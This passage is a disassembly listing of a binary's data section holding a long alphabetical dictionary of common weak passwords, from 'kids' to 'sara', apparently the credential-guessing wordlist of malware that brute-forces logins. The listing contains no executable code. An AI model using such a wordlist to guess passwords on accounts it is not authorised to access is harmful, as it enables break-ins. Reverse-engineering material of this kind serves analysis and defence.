.nsp0:0043AFC0o aKids db 'kids',0 ; DATA XREF: .nsp0:0043AFC4o align 4 aKill_0 db 'kill',0 ; DATA XREF: .nsp0:0043AFC8o align 4 aKillthem db 'killthem',0 ; DATA XREF: .nsp0:0043AFCCo align 10h aKilo db 'kilo',0 ; DATA XREF: .nsp0:0043AFD0o align 4 aKimberly db 'kimberly',0 ; DATA XREF: .nsp0:0043AFD4o align 4 aKing db 'king',0 ; DATA XREF: .nsp0:0043AFD8o align 4 aKirk db 'kirk',0 ; DATA XREF: .nsp0:0043AFDCo align 4 aKirkland db 'kirkland',0 ; DATA XREF: .nsp0:0043AFE0o align 10h aKiss db 'kiss',0 ; DATA XREF: .nsp0:0043AFE4o align 4 aKissmyas db 'kissmyas',0 ; DATA XREF: .nsp0:0043AFE8o align 4 aKitten db 'kitten',0 ; DATA XREF: .nsp0:0043AFECo align 4 aKlingon db 'klingon',0 ; DATA XREF: .nsp0:0043AFF0o aKnife db 'knife',0 ; DATA XREF: .nsp0:0043AFF4o align 4 aKnight db 'knight',0 ; DATA XREF: .nsp0:0043AFF8o align 4 aKnightma db 'knightma',0 ; DATA XREF: .nsp0:0043AFFCo align 10h aKnown db 'known',0 ; DATA XREF: .nsp0:0043B000o align 4 aKrista db 'krista',0 ; DATA XREF: .nsp0:0043B004o align 10h aKristen db 'kristen',0 ; DATA XREF: .nsp0:0043B008o aKristi db 'kristi',0 ; DATA XREF: .nsp0:0043B00Co align 10h aKristie db 'kristie',0 ; DATA XREF: .nsp0:0043B010o aKristin db 'kristin',0 ; DATA XREF: .nsp0:0043B014o aKristine db 'kristine',0 ; DATA XREF: .nsp0:0043B018o align 4 aKristy db 'kristy',0 ; DATA XREF: .nsp0:0043B01Co align 4 aLadies db 'ladies',0 ; DATA XREF: .nsp0:0043B020o align 4 aLadle db 'ladle',0 ; DATA XREF: .nsp0:0043B024o align 4 aLakers db 'lakers',0 ; DATA XREF: .nsp0:0043B028o align 4 aLambda db 'lambda',0 ; DATA XREF: .nsp0:0043B02Co align 4 aLaminati db 'laminati',0 ; DATA XREF: .nsp0:0043B030o align 10h aLana db 'lana',0 ; DATA XREF: .nsp0:0043B034o align 4 aLaptop db 'laptop',0 ; DATA XREF: .nsp0:0043B038o align 10h aLara db 'lara',0 ; DATA XREF: .nsp0:0043B03Co align 4 aLarkin db 'larkin',0 ; DATA XREF: .nsp0:0043B040o align 10h aLarry db 'larry',0 ; DATA XREF: .nsp0:0043B044o align 4 aLaser db 'laser',0 ; DATA XREF: .nsp0:0043B048o align 10h aLaura db 'laura',0 ; DATA XREF: .nsp0:0043B04Co align 4 aLava db 'lava',0 ; DATA XREF: .nsp0:0043B050o align 10h aLazarus db 'lazarus',0 ; DATA XREF: .nsp0:0043B054o aLazer db 'lazer',0 ; DATA XREF: .nsp0:0043B058o align 10h aLeah db 'leah',0 ; DATA XREF: .nsp0:0043B05Co align 4 aLebesgue db 'lebesgue',0 ; DATA XREF: .nsp0:0043B060o align 4 aLeft db 'left',0 ; DATA XREF: .nsp0:0043B064o align 4 aLeftwing db 'leftwing',0 ; DATA XREF: .nsp0:0043B068o align 4 aLegal db 'legal',0 ; DATA XREF: .nsp0:0043B06Co align 10h aLeland db 'leland',0 ; DATA XREF: .nsp0:0043B070o align 4 aLeroy db 'leroy',0 ; DATA XREF: .nsp0:0043B074o align 10h aLesbian db 'lesbian',0 ; DATA XREF: .nsp0:0043B078o aLeslie db 'leslie',0 ; DATA XREF: .nsp0:0043B07Co align 10h aLetmein db 'letmein',0 ; DATA XREF: .nsp0:0043B080o aLewis db 'lewis',0 ; DATA XREF: .nsp0:0043B084o align 10h aLexluthe db 'lexluthe',0 ; DATA XREF: .nsp0:0043B088o align 4 aLiberal db 'liberal',0 ; DATA XREF: .nsp0:0043B08Co aLibrary db 'library',0 ; DATA XREF: .nsp0:0043B090o aLick db 'lick',0 ; DATA XREF: .nsp0:0043B094o align 4 aLicker db 'licker',0 ; DATA XREF: .nsp0:0043B098o align 4 aLife db 'life',0 ; DATA XREF: .nsp0:0043B09Co align 4 aLight db 'light',0 ; DATA XREF: .nsp0:0043B0A0o align 4 aLightsab db 'lightsab',0 ; DATA XREF: .nsp0:0043B0A4o align 4 aLima db 'lima',0 ; DATA XREF: .nsp0:0043B0A8o align 10h aLimbaugh db 'limbaugh',0 ; DATA XREF: .nsp0:0043B0ACo align 4 aLimited db 'limited',0 ; DATA XREF: .nsp0:0043B0B0o aLinda db 'linda',0 ; DATA XREF: .nsp0:0043B0B4o align 4 aLink db 'link',0 ; DATA XREF: .nsp0:0043B0B8o align 4 aLion db 'lion',0 ; DATA XREF: .nsp0:0043B0BCo align 4 aLips db 'lips',0 ; DATA XREF: .nsp0:0043B0C0o align 4 aLisa db 'lisa',0 ; DATA XREF: .nsp0:0043B0C4o align 4 aLisp db 'lisp',0 ; DATA XREF: .nsp0:0043B0C8o align 4 aLiteratu db 'literatu',0 ; DATA XREF: .nsp0:0043B0CCo align 10h aLive db 'live',0 ; DATA XREF: .nsp0:0043B0D0o align 4 aLoad_0 db 'load',0 ; DATA XREF: .nsp0:0043B0D4o align 10h aLock db 'lock',0 ; DATA XREF: .nsp0:0043B0D8o align 4 aLockout db 'lockout',0 ; DATA XREF: .nsp0:0043B0DCo aLockword db 'lockword',0 ; DATA XREF: .nsp0:0043B0E0o align 4 aLogic db 'logic',0 ; DATA XREF: .nsp0:0043B0E4o align 4 aLoginwor db 'loginwor',0 ; DATA XREF: .nsp0:0043B0E8o align 10h aLogout_0 db 'logout',0 ; DATA XREF: .nsp0:0043B0ECo align 4 aLois db 'lois',0 ; DATA XREF: .nsp0:0043B0F0o align 10h aLolopc db 'lolopc',0 ; DATA XREF: .nsp0:0043B0F4o align 4 aLoose db 'loose',0 ; DATA XREF: .nsp0:0043B0F8o align 10h aLore db 'lore',0 ; DATA XREF: .nsp0:0043B0FCo align 4 aLori db 'lori',0 ; DATA XREF: .nsp0:0043B100o align 10h aLorin db 'lorin',0 ; DATA XREF: .nsp0:0043B104o align 4 aLorraine db 'lorraine',0 ; DATA XREF: .nsp0:0043B108o align 4 aLoser db 'loser',0 ; DATA XREF: .nsp0:0043B10Co align 4 aLouis db 'louis',0 ; DATA XREF: .nsp0:0043B110o align 4 aLovebug db 'lovebug',0 ; DATA XREF: .nsp0:0043B114o aLover db 'lover',0 ; DATA XREF: .nsp0:0043B118o align 4 aLuck db 'luck',0 ; DATA XREF: .nsp0:0043B11Co align 4 aLucus db 'lucus',0 ; DATA XREF: .nsp0:0043B120o align 4 aLucy db 'lucy',0 ; DATA XREF: .nsp0:0043B124o align 4 aLude db 'lude',0 ; DATA XREF: .nsp0:0043B128o align 4 aLuke db 'luke',0 ; DATA XREF: .nsp0:0043B12Co align 4 aLust db 'lust',0 ; DATA XREF: .nsp0:0043B130o align 4 aLynn db 'lynn',0 ; DATA XREF: .nsp0:0043B134o align 4 aLynne db 'lynne',0 ; DATA XREF: .nsp0:0043B138o align 4 aMachine db 'machine',0 ; DATA XREF: .nsp0:0043B13Co aMacintos db 'macintos',0 ; DATA XREF: .nsp0:0043B140o align 4 aMack db 'mack',0 ; DATA XREF: .nsp0:0043B144o align 10h aMacro db 'macro',0 ; DATA XREF: .nsp0:0043B148o align 4 aMaggot db 'maggot',0 ; DATA XREF: .nsp0:0043B14Co align 10h aMagic db 'magic',0 ; DATA XREF: .nsp0:0043B150o align 4 aMagnet db 'magnet',0 ; DATA XREF: .nsp0:0043B154o align 10h aMail db 'mail',0 ; DATA XREF: .nsp0:0043B158o align 4 aMaint db 'maint',0 ; DATA XREF: .nsp0:0043B15Co align 10h aMalcolm db 'malcolm',0 ; DATA XREF: .nsp0:0043B160o aMalcom db 'malcom',0 ; DATA XREF: .nsp0:0043B164o align 10h aMana db 'mana',0 ; DATA XREF: .nsp0:0043B168o align 4 aManager db 'manager',0 ; DATA XREF: .nsp0:0043B16Co aMara db 'mara',0 ; DATA XREF: .nsp0:0043B170o align 4 aMarci db 'marci',0 ; DATA XREF: .nsp0:0043B174o align 10h aMarcy db 'marcy',0 ; DATA XREF: .nsp0:0043B178o align 4 aMaria db 'maria',0 ; DATA XREF: .nsp0:0043B17Co align 10h aMariens db 'mariens',0 ; DATA XREF: .nsp0:0043B180o aMarietta db 'marietta',0 ; DATA XREF: .nsp0:0043B184o align 4 aMarijuan db 'marijuan',0 ; DATA XREF: .nsp0:0043B188o align 10h aMarines db 'marines',0 ; DATA XREF: .nsp0:0043B18Co aMark db 'mark',0 ; DATA XREF: .nsp0:0043B190o align 10h aMarkus db 'markus',0 ; DATA XREF: .nsp0:0043B194o align 4 aMarni db 'marni',0 ; DATA XREF: .nsp0:0043B198o align 10h aMarriage db 'marriage',0 ; DATA XREF: .nsp0:0043B19Co align 4 aMars db 'mars',0 ; DATA XREF: .nsp0:0043B1A0o align 4 aMarty db 'marty',0 ; DATA XREF: .nsp0:0043B1A4o align 4 aMarvin db 'marvin',0 ; DATA XREF: .nsp0:0043B1A8o align 4 aMary db 'mary',0 ; DATA XREF: .nsp0:0043B1ACo align 4 aMason db 'mason',0 ; DATA XREF: .nsp0:0043B1B0o align 4 aMaster db 'master',0 ; DATA XREF: .nsp0:0043B1B4o align 4 aMath db 'math',0 ; DATA XREF: .nsp0:0043B1B8o align 4 aMaurice db 'maurice',0 ; DATA XREF: .nsp0:0043B1BCo aMeagan db 'meagan',0 ; DATA XREF: .nsp0:0043B1C0o align 4 aMegabyte db 'megabyte',0 ; DATA XREF: .nsp0:0043B1C4o align 10h aMegadeth db 'megadeth',0 ; DATA XREF: .nsp0:0043B1C8o align 4 aMegan db 'megan',0 ; DATA XREF: .nsp0:0043B1CCo align 4 aMelissa db 'melissa',0 ; DATA XREF: .nsp0:0043B1D0o aMellon db 'mellon',0 ; DATA XREF: .nsp0:0043B1D4o align 4 aMelrose db 'melrose',0 ; DATA XREF: .nsp0:0043B1D8o aMember db 'member',0 ; DATA XREF: .nsp0:0043B1DCo align 4 aMemory db 'memory',0 ; DATA XREF: .nsp0:0043B1E0o align 4 aMenace db 'menace',0 ; DATA XREF: .nsp0:0043B1E4o align 4 aMenu db 'menu',0 ; DATA XREF: .nsp0:0043B1E8o align 4 aMercury db 'mercury',0 ; DATA XREF: .nsp0:0043B1ECo aMerlin db 'merlin',0 ; DATA XREF: .nsp0:0043B1F0o align 4 aMetal db 'metal',0 ; DATA XREF: .nsp0:0043B1F4o align 4 aMetalhea db 'metalhea',0 ; DATA XREF: .nsp0:0043B1F8o align 10h aMetalica db 'metalica',0 ; DATA XREF: .nsp0:0043B1FCo align 4 aMets db 'mets',0 ; DATA XREF: .nsp0:0043B200o align 4 aMice db 'mice',0 ; DATA XREF: .nsp0:0043B204o align 4 aMichael db 'michael',0 ; DATA XREF: .nsp0:0043B208o aMichel db 'michel',0 ; DATA XREF: .nsp0:0043B20Co align 4 aMichelan db 'michelan',0 ; DATA XREF: .nsp0:0043B210o align 4 aMichele db 'michele',0 ; DATA XREF: .nsp0:0043B214o aMichelle db 'michelle',0 ; DATA XREF: .nsp0:0043B218o align 4 aMickey db 'mickey',0 ; DATA XREF: .nsp0:0043B21Co align 4 aMicro db 'micro',0 ; DATA XREF: .nsp0:0043B220o align 4 aMicrochi db 'microchi',0 ; DATA XREF: .nsp0:0043B224o align 4 aMicropro db 'micropro',0 ; DATA XREF: .nsp0:0043B228o align 4 aMicrosof db 'microsof',0 ; DATA XREF: .nsp0:0043B22Co align 10h aMidieval db 'midieval',0 ; DATA XREF: .nsp0:0043B230o align 4 aMike db 'mike',0 ; DATA XREF: .nsp0:0043B234o align 4 aMine db 'mine',0 ; DATA XREF: .nsp0:0043B238o align 4 aMinimum db 'minimum',0 ; DATA XREF: .nsp0:0043B23Co aMinsky db 'minsky',0 ; DATA XREF: .nsp0:0043B240o align 4 aMisfit db 'misfit',0 ; DATA XREF: .nsp0:0043B244o align 4 aMission db 'mission',0 ; DATA XREF: .nsp0:0043B248o aMkii db 'mkii',0 ; DATA XREF: .nsp0:0043B24Co align 4 aMode_1 db 'mode',0 ; DATA XREF: .nsp0:0043B250o align 4 aModem db 'modem',0 ; DATA XREF: .nsp0:0043B254o align 4 aMogul db 'mogul',0 ; DATA XREF: .nsp0:0043B258o align 4 aMoguls db 'moguls',0 ; DATA XREF: .nsp0:0043B25Co align 4 aMonday_0 db 'monday',0 ; DATA XREF: .nsp0:0043B260o align 4 aMonica db 'monica',0 ; DATA XREF: .nsp0:0043B264o align 4 aMoom db 'moom',0 ; DATA XREF: .nsp0:0043B268o align 4 aMoor db 'moor',0 ; DATA XREF: .nsp0:0043B26Co align 4 aMoose db 'moose',0 ; DATA XREF: .nsp0:0043B270o align 4 aMore db 'more',0 ; DATA XREF: .nsp0:0043B274o align 4 aMorley db 'morley',0 align 4 aMorris db 'morris',0 align 4 aMortal db 'mortal',0 align 4 aMortalco db 'mortalco',0 align 4 aMortgage db 'mortgage',0 align 4 aMosaic db 'mosaic',0 align 4 aMountain db 'mountain',0 align 4 aMouse db 'mouse',0 align 10h aMove db 'move',0 align 4 aMovie db 'movie',0 align 10h aMovies db 'movies',0 align 4 aMozart db 'mozart',0 align 10h aMpeg db 'mpeg',0 align 4 aMsdos db 'msdos',0 align 10h aMuppets db 'muppets',0 aMutant db 'mutant',0 align 10h aNagel db 'nagel',0 ; DATA XREF: .nsp0:0043B2B8o align 4 aName db 'name',0 align 10h aNancy db 'nancy',0 ; DATA XREF: .nsp0:0043B2C0o align 4 aNapoleon db 'napoleon',0 align 4 aNasa db 'nasa',0 align 4 aNavy db 'navy',0 align 4 aNepenthe db 'nepenthe',0 align 10h aNeptune db 'neptune',0 ; DATA XREF: .nsp0:0043B2D4o aNess db 'ness',0 ; DATA XREF: .nsp0:0043B2D8o align 10h aNetscape db 'netscape',0 ; DATA XREF: .nsp0:0043B2DCo align 4 aNetwork_0 db 'network',0 ; DATA XREF: .nsp0:0043B2E0o aNewborn db 'newborn',0 ; DATA XREF: .nsp0:0043B2E4o aNews db 'news',0 ; DATA XREF: .nsp0:0043B2E8o align 4 aNewsgrou db 'newsgrou',0 ; DATA XREF: .nsp0:0043B2ECo align 10h aNewton db 'newton',0 ; DATA XREF: .nsp0:0043B2F0o align 4 aNewyork db 'newyork',0 ; DATA XREF: .nsp0:0043B2F4o aNext db 'next',0 align 4 aNice db 'nice',0 align 10h aNicole db 'nicole',0 align 4 aNicotine db 'nicotine',0 align 4 aNight db 'night',0 align 4 aNightmar db 'nightmar',0 align 4 aNintendo db 'nintendo',0 align 4 aNita db 'nita',0 align 4 aNnaacp db 'nnaacp',0 align 4 aNoble db 'noble',0 align 4 aNobody db 'nobody',0 align 4 aNode db 'node',0 align 4 aNoreen db 'noreen',0 align 4 aNotes db 'notes',0 align 4 aNoth db 'noth',0 align 4 aNova db 'nova',0 align 4 aNovel db 'novel',0 align 4 aNovember_0 db 'november',0 align 10h aNoxious db 'noxious',0 aNuclear db 'nuclear',0 aNude db 'nude',0 align 4 aNuke db 'nuke',0 align 10h aNukem db 'nukem',0 align 4 aNull_1 db 'null',0 align 10h aNumber db 'number',0 align 4 aNutritio db 'nutritio',0 align 4 aNuts db 'nuts',0 align 4 aNyquist db 'nyquist',0 aObscurit db 'obscurit',0 align 10h aOceanogr db 'oceanogr',0 align 4 aOcelot db 'ocelot',0 align 4 aOffice db 'office',0 align 4 aOkay db 'okay',0 align 4 aOldage db 'oldage',0 align 4 aOlivetti db 'olivetti',0 align 4 aOlivia db 'olivia',0 align 10h aOmega db 'omega',0 align 4 aOpen_3 db 'open',0 align 10h aOpening db 'opening',0 aOpenlock db 'openlock',0 align 4 aOpensesa db 'opensesa',0 align 10h aOperator db 'operator',0 align 4 aOrca db 'orca',0 align 4 aOrient db 'orient',0 align 4 aOrwell db 'orwell',0 align 4 aOscar db 'oscar',0 align 4 aOsiris db 'osiris',0 align 4 aOutdoors db 'outdoors',0 align 10h aOutlaw db 'outlaw',0 align 4 aOutput db 'output',0 align 10h aOutside db 'outside',0 aOxford db 'oxford',0 align 10h aPacific db 'pacific',0 aPackard db 'packard',0 aPacker db 'packer',0 ; DATA XREF: .nsp0:0043B3D0o align 4 aPainless db 'painless',0 ; DATA XREF: .nsp0:0043B3D4o align 4 aPaint db 'paint',0 ; DATA XREF: .nsp0:0043B3D8o align 4 aPakistan db 'pakistan',0 ; DATA XREF: .nsp0:0043B3DCo align 4 aPamela db 'pamela',0 ; DATA XREF: .nsp0:0043B3E0o align 10h aPapa db 'papa',0 ; DATA XREF: .nsp0:0043B3E4o align 4 aPaper db 'paper',0 ; DATA XREF: .nsp0:0043B3E8o align 10h aPapers db 'papers',0 ; DATA XREF: .nsp0:0043B3ECo align 4 aPascal db 'pascal',0 ; DATA XREF: .nsp0:0043B3F0o align 10h aPassphra db 'passphra',0 ; DATA XREF: .nsp0:0043B3F4o align 4 aPaste db 'paste',0 ; DATA XREF: .nsp0:0043B3F8o align 4 aPatricia db 'patricia',0 ; DATA XREF: .nsp0:0043B3FCo align 10h aPatriot db 'patriot',0 ; DATA XREF: .nsp0:0043B400o aPatty db 'patty',0 ; DATA XREF: .nsp0:0043B404o align 10h aPaula db 'paula',0 ; DATA XREF: .nsp0:0043B408o align 4 aPeanuts db 'peanuts',0 ; DATA XREF: .nsp0:0043B40Co aPecker db 'pecker',0 ; DATA XREF: .nsp0:0043B410o align 4 aPencil db 'pencil',0 ; DATA XREF: .nsp0:0043B414o align 10h aPenelope db 'penelope',0 ; DATA XREF: .nsp0:0043B418o align 4 aPenguin db 'penguin',0 ; DATA XREF: .nsp0:0043B41Co aPenis db 'penis',0 ; DATA XREF: .nsp0:0043B420o align 4 aPenname db 'penname',0 ; DATA XREF: .nsp0:0043B424o aPentagon db 'pentagon',0 ; DATA XREF: .nsp0:0043B428o align 10h aPentagra db 'pentagra',0 ; DATA XREF: .nsp0:0043B42Co align 4 aPenthous db 'penthous',0 ; DATA XREF: .nsp0:0043B430o align 4 aPentium db 'pentium',0 ; DATA XREF: .nsp0:0043B434o aPeoria db 'peoria',0 ; DATA XREF: .nsp0:0043B438o align 4 aPepper db 'pepper',0 ; DATA XREF: .nsp0:0043B43Co align 10h aPercolat db 'percolat',0 ; DATA XREF: .nsp0:0043B440o align 4 aPerfect db 'perfect',0 ; DATA XREF: .nsp0:0043B444o aPermit db 'permit',0 ; DATA XREF: .nsp0:0043B448o align 4 aPersimmo db 'persimmo',0 ; DATA XREF: .nsp0:0043B44Co align 4 aPersona db 'persona',0 ; DATA XREF: .nsp0:0043B450o aPervert db 'pervert',0 ; DATA XREF: .nsp0:0043B454o aPete db 'pete',0 ; DATA XREF: .nsp0:0043B458o align 10h aPeter db 'peter',0 ; DATA XREF: .nsp0:0043B45Co align 4 aPhil db 'phil',0 ; DATA XREF: .nsp0:0043B460o align 10h aPhilip db 'philip',0 ; DATA XREF: .nsp0:0043B464o align 4 aPhoenix db 'phoenix',0 ; DATA XREF: .nsp0:0043B468o aPhone db 'phone',0 ; DATA XREF: .nsp0:0043B46Co align 4 aPhoton db 'photon',0 ; DATA XREF: .nsp0:0043B470o align 10h aPhrack db 'phrack',0 ; DATA XREF: .nsp0:0043B474o align 4 aPhrase db 'phrase',0 ; DATA XREF: .nsp0:0043B478o align 10h aPhreak db 'phreak',0 ; DATA XREF: .nsp0:0043B47Co align 4 aPhuck db 'phuck',0 ; DATA XREF: .nsp0:0043B480o align 10h aPick db 'pick',0 ; DATA XREF: .nsp0:0043B484o align 4 aPierre db 'pierre',0 ; DATA XREF: .nsp0:0043B488o align 10h aPimp db 'pimp',0 ; DATA XREF: .nsp0:0043B48Co align 4 aPinname db 'pinname',0 ; DATA XREF: .nsp0:0043B490o aPiss db 'piss',0 ; DATA XREF: .nsp0:0043B494o align 4 aPizza db 'pizza',0 ; DATA XREF: .nsp0:0043B498o align 10h aPlane db 'plane',0 ; DATA XREF: .nsp0:0043B49Co align 4 aPlayboy db 'playboy',0 ; DATA XREF: .nsp0:0043B4A0o aPlover db 'plover',0 ; DATA XREF: .nsp0:0043B4A4o align 4 aPluto db 'pluto',0 ; DATA XREF: .nsp0:0043B4A8o align 10h aPlymouth db 'plymouth',0 ; DATA XREF: .nsp0:0043B4ACo align 4 aPoetry db 'poetry',0 ; DATA XREF: .nsp0:0043B4B0o align 4 aPolice db 'police',0 ; DATA XREF: .nsp0:0043B4B4o align 4 aPolly db 'polly',0 ; DATA XREF: .nsp0:0043B4B8o align 4 aPolynomi db 'polynomi',0 ; DATA XREF: .nsp0:0043B4BCo align 10h aPonderin db 'ponderin',0 ; DATA XREF: .nsp0:0043B4C0o align 4 aPoop db 'poop',0 ; DATA XREF: .nsp0:0043B4C4o align 4 aPoor db 'poor',0 ; DATA XREF: .nsp0:0043B4C8o align 4 aPork db 'pork',0 ; DATA XREF: .nsp0:0043B4CCo align 4 aPorn db 'porn',0 ; DATA XREF: .nsp0:0043B4D0o align 4 aPorno db 'porno',0 ; DATA XREF: .nsp0:0043B4D4o align 4 aPorsche db 'porsche',0 ; DATA XREF: .nsp0:0043B4D8o aPost db 'post',0 ; DATA XREF: .nsp0:0043B4DCo align 4 aPoster db 'poster',0 ; DATA XREF: .nsp0:0043B4E0o align 4 aPower db 'power',0 ; DATA XREF: .nsp0:0043B4E4o align 4 aPraise db 'praise',0 ; DATA XREF: .nsp0:0043B4E8o align 4 aPrecious db 'precious',0 ; DATA XREF: .nsp0:0043B4ECo align 4 aPrelude db 'prelude',0 ; DATA XREF: .nsp0:0043B4F0o aPresto db 'presto',0 ; DATA XREF: .nsp0:0043B4F4o align 4 aPrince db 'prince',0 ; DATA XREF: .nsp0:0043B4F8o align 10h aPrinceto db 'princeto',0 ; DATA XREF: .nsp0:0043B4FCo align 4 aPrinter db 'printer',0 ; DATA XREF: .nsp0:0043B500o aPriv db 'priv',0 ; DATA XREF: .nsp0:0043B504o align 4 aPrivate db 'private',0 ; DATA XREF: .nsp0:0043B508o aPrivs db 'privs',0 ; DATA XREF: .nsp0:0043B50Co align 4 aProceed db 'proceed',0 ; DATA XREF: .nsp0:0043B510o aProcesso db 'processo',0 ; DATA XREF: .nsp0:0043B514o align 10h aProfesso db 'professo',0 ; DATA XREF: .nsp0:0043B518o align 4 aProfile db 'profile',0 ; DATA XREF: .nsp0:0043B51Co aProgram db 'program',0 ; DATA XREF: .nsp0:0043B520o aPrompt db 'prompt',0 ; DATA XREF: .nsp0:0043B524o align 4 aProtect db 'protect',0 ; DATA XREF: .nsp0:0043B528o aProtozoa db 'protozoa',0 ; DATA XREF: .nsp0:0043B52Co align 4 aPsycho db 'psycho',0 ; DATA XREF: .nsp0:0043B530o align 10h aPsychopa db 'psychopa',0 ; DATA XREF: .nsp0:0043B534o align 4 aPublic db 'public',0 ; DATA XREF: .nsp0:0043B538o align 4 aPuck db 'puck',0 ; DATA XREF: .nsp0:0043B53Co align 4 aPuke db 'puke',0 ; DATA XREF: .nsp0:0043B540o align 4 aPumpkin db 'pumpkin',0 ; DATA XREF: .nsp0:0043B544o aPuneet db 'puneet',0 ; DATA XREF: .nsp0:0043B548o align 4 aPunisher db 'punisher',0 ; DATA XREF: .nsp0:0043B54Co align 10h aPunk db 'punk',0 ; DATA XREF: .nsp0:0043B550o align 4 aPuppet db 'puppet',0 ; DATA XREF: .nsp0:0043B554o align 10h aPussy db 'pussy',0 ; DATA XREF: .nsp0:0043B558o align 4 aQuebec db 'quebec',0 ; DATA XREF: .nsp0:0043B55Co align 10h aQwert db 'qwert',0 ; DATA XREF: .nsp0:0043B560o align 4 aQwerty db 'qwerty',0 ; DATA XREF: .nsp0:0043B564o align 10h aRabbit db 'rabbit',0 ; DATA XREF: .nsp0:0043B568o align 4 aRachel db 'rachel',0 ; DATA XREF: .nsp0:0043B56Co align 10h aRachelle db 'rachelle',0 ; DATA XREF: .nsp0:0043B570o align 4 aRachmani db 'rachmani',0 ; DATA XREF: .nsp0:0043B574o align 4 aRaid db 'raid',0 ; DATA XREF: .nsp0:0043B578o align 10h aRain db 'rain',0 ; DATA XREF: .nsp0:0043B57Co align 4 aRainbow db 'rainbow',0 ; DATA XREF: .nsp0:0043B580o aRaindrop db 'raindrop',0 ; DATA XREF: .nsp0:0043B584o align 4 aRaleigh db 'raleigh',0 ; DATA XREF: .nsp0:0043B588o aRandom_3 db 'random',0 ; DATA XREF: .nsp0:0043B58Co align 4 aRape db 'rape',0 ; DATA XREF: .nsp0:0043B590o align 4 aRascal db 'rascal',0 ; DATA XREF: .nsp0:0043B594o align 4 aRazor db 'razor',0 ; DATA XREF: .nsp0:0043B598o align 4 aReagan db 'reagan',0 ; DATA XREF: .nsp0:0043B59Co align 4 aReality db 'reality',0 ; DATA XREF: .nsp0:0043B5A0o aReally db 'really',0 ; DATA XREF: .nsp0:0043B5A4o align 4 aReam db 'ream',0 ; DATA XREF: .nsp0:0043B5A8o align 4 aReaper db 'reaper',0 ; DATA XREF: .nsp0:0043B5ACo align 4 aRebal db 'rebal',0 ; DATA XREF: .nsp0:0043B5B0o align 4 aRebecca db 'rebecca',0 ; DATA XREF: .nsp0:0043B5B4o aRebel db 'rebel',0 ; DATA XREF: .nsp0:0043B5B8o align 4 aRecord db 'record',0 ; DATA XREF: .nsp0:0043B5BCo align 4 aReddawn db 'reddawn',0 ; DATA XREF: .nsp0:0043B5C0o aRedhead db 'redhead',0 ; DATA XREF: .nsp0:0043B5C4o aReferenc db 'referenc',0 ; DATA XREF: .nsp0:0043B5C8o align 4 aRegional db 'regional',0 ; DATA XREF: .nsp0:0043B5CCo align 4 aRelease db 'release',0 ; DATA XREF: .nsp0:0043B5D0o aRemote db 'remote',0 ; DATA XREF: .nsp0:0043B5D4o align 4 aRenee db 'renee',0 ; DATA XREF: .nsp0:0043B5D8o align 4 aReno db 'reno',0 ; DATA XREF: .nsp0:0043B5DCo align 4 aRent db 'rent',0 ; DATA XREF: .nsp0:0043B5E0o align 4 aReport db 'report',0 ; DATA XREF: .nsp0:0043B5E4o align 4 aRepublic db 'republic',0 ; DATA XREF: .nsp0:0043B5E8o align 10h aResistan db 'resistan',0 ; DATA XREF: .nsp0:0043B5ECo align 4 aReveal db 'reveal',0 ; DATA XREF: .nsp0:0043B5F0o align 4 aRhino db 'rhino',0 ; DATA XREF: .nsp0:0043B5F4o align 4 aRich db 'rich',0 ; DATA XREF: .nsp0:0043B5F8o align 4 aRick db 'rick',0 ; DATA XREF: .nsp0:0043B5FCo align 4 aRiffraff db 'riffraff',0 ; DATA XREF: .nsp0:0043B600o align 4 aRight db 'right',0 ; DATA XREF: .nsp0:0043B604o align 10h aRightwin db 'rightwin',0 ; DATA XREF: .nsp0:0043B608o align 4 aRing db 'ring',0 ; DATA XREF: .nsp0:0043B60Co align 4 aRiot db 'riot',0 ; DATA XREF: .nsp0:0043B610o align 4 aRipple db 'ripple',0 ; DATA XREF: .nsp0:0043B614o align 4 aRisc db 'risc',0 ; DATA XREF: .nsp0:0043B618o align 4 aRoach db 'roach',0 ; DATA XREF: .nsp0:0043B61Co align 4 aRobert db 'robert',0 ; DATA XREF: .nsp0:0043B620o align 4 aRobin db 'robin',0 ; DATA XREF: .nsp0:0043B624o align 4 aRobot db 'robot',0 ; DATA XREF: .nsp0:0043B628o align 4 aRobotics db 'robotics',0 ; DATA XREF: .nsp0:0043B62Co align 4 aRobyn db 'robyn',0 ; DATA XREF: .nsp0:0043B630o align 10h aRochelle db 'rochelle',0 ; DATA XREF: .nsp0:0043B634o align 4 aRocheste db 'rocheste',0 ; DATA XREF: .nsp0:0043B638o align 4 aRock db 'rock',0 ; DATA XREF: .nsp0:0043B63Co align 10h aRocky db 'rocky',0 ; DATA XREF: .nsp0:0043B640o align 4 aRockyhor db 'rockyhor',0 ; DATA XREF: .nsp0:0043B644o align 4 aRodent db 'rodent',0 ; DATA XREF: .nsp0:0043B648o align 4 aRolex db 'rolex',0 ; DATA XREF: .nsp0:0043B64Co align 4 aRomano db 'romano',0 ; DATA XREF: .nsp0:0043B650o align 4 aRomeo db 'romeo',0 ; DATA XREF: .nsp0:0043B654o align 4 aRomulan db 'romulan',0 ; DATA XREF: .nsp0:0043B658o aRonald db 'ronald',0 ; DATA XREF: .nsp0:0043B65Co align 4 aRose db 'rose',0 ; DATA XREF: .nsp0:0043B660o align 4 aRosebud db 'rosebud',0 ; DATA XREF: .nsp0:0043B664o aRosemary db 'rosemary',0 ; DATA XREF: .nsp0:0043B668o align 10h aRoses db 'roses',0 ; DATA XREF: .nsp0:0043B66Co align 4 aRough db 'rough',0 ; DATA XREF: .nsp0:0043B670o align 10h aRubber db 'rubber',0 ; DATA XREF: .nsp0:0043B674o align 4 aRuben db 'ruben',0 ; DATA XREF: .nsp0:0043B678o align 10h aRuby db 'ruby',0 ; DATA XREF: .nsp0:0043B67Co align 4 aRude db 'rude',0 ; DATA XREF: .nsp0:0043B680o align 10h aRules db 'rules',0 ; DATA XREF: .nsp0:0043B684o align 4 aRunning db 'running',0 ; DATA XREF: .nsp0:0043B688o aRush db 'rush',0 ; DATA XREF: .nsp0:0043B68Co align 4 aRuth db 'ruth',0 ; DATA XREF: .nsp0:0043B690o align 10h aSafe db 'safe',0 ; DATA XREF: .nsp0:0043B694o align 4 aSalami db 'salami',0 ; DATA XREF: .nsp0:0043B698o align 10h aSale db 'sale',0 ; DATA XREF: .nsp0:0043B69Co align 4 aSalt db 'salt',0 ; DATA XREF: .nsp0:0043B6A0o align 10h aSamantha db 'samantha',0 ; DATA XREF: .nsp0:0043B6A4o align 4 aSample db 'sample',0 ; DATA XREF: .nsp0:0043B6A8o align 4 aSandra db 'sandra',0 ; DATA XREF: .nsp0:0043B6ACo align 4 aSandy db 'sandy',0 ; DATA XREF: .nsp0:0043B6B0o align 4 aSara db 'sara',0 ; DATA 